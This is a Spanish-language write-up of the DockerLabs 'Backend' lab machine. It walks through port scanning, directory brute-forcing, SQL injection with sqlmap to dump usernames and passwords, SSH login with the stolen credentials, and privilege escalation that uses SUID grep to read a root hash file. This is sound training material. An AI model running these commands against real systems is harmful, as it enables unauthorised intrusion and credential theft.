Backend - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | 4bytes |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP)
A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 22,80-sCV 172.17.0.2 -oG targeted
Exploración Web
Al acceder a la página web, observamos un panel de login.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Inyeccion Sql
Como hemos visto que el panel de login no proporciona más información útil, guardaremos la petición HTTP en un archivo llamado respuesta.req y los datos que quiero que me modifique le pondremos esto *.
A continuación, vamos a probar si es inyectable:
sqlmap -r respuesta.req -p searchitem --batch
Como podemos ver, la inyección es efectiva y con varios tipos de inyección. Ahora vamos a ver las bases de datos que contiene.
sqlmap -r respuesta.req -p searchitem --batch --dbs
Ya que sabemos las bases de datos, vamos a ver las tablas de esa base de datos users.
sqlmap -r respuesta.req -p searchitem --batch -D users --tables
Vemos que contiene una tabla llamada usuarios. Vamos a ver qué contiene.
sqlmap -r respuesta.req -p searchitem --batch -D users -T usuarios --columns
Por ultimo veremos que contiene esas columnas
sqlmap -r respuesta.req -p searchitem --batch -D users -T usuarios -C id,username,password --dump
Como se trata de una SQLi, luego de probarlos en la página y que ninguno nos sirva, podemos intentar probar si alguno es válido para el puerto 22 de SSH. Por lo que simplemente probamos uno por uno, ya que son tres, y vemos que el usuario pepe sí tiene acceso.
Escalada de privilegios.
Vamos a hacer lo de siempre: empezaremos viendo si podemos ejecutar el comando sudo -l.
Al parecer no podemos. Lo que haremos será buscar en el SUID.
find / -perm -4000 2>/dev/null
Como vemos, los binario ls y grep están en el SUID, por lo que podríamos intentar leer la home de root usando ls.
/usr/bin/ls root
Vemos que contiene un archivo llamado pass.hash. Como no podemos usar cat, usaremos el binario grep para ver el contenido del mismo.
LFILE=/root/pass.hash
/usr/bin/grep '' $LFILE
Como por el nombre nos dice que es un hash, usaremos la página Crackstation por si desde allí obtenemos lo que contiene la hash.
Ya tenemos la contraseña en texto plano. Ahora solo hace falta probarla con root para ver si tenemos acceso.
su root
¡Ya somos root!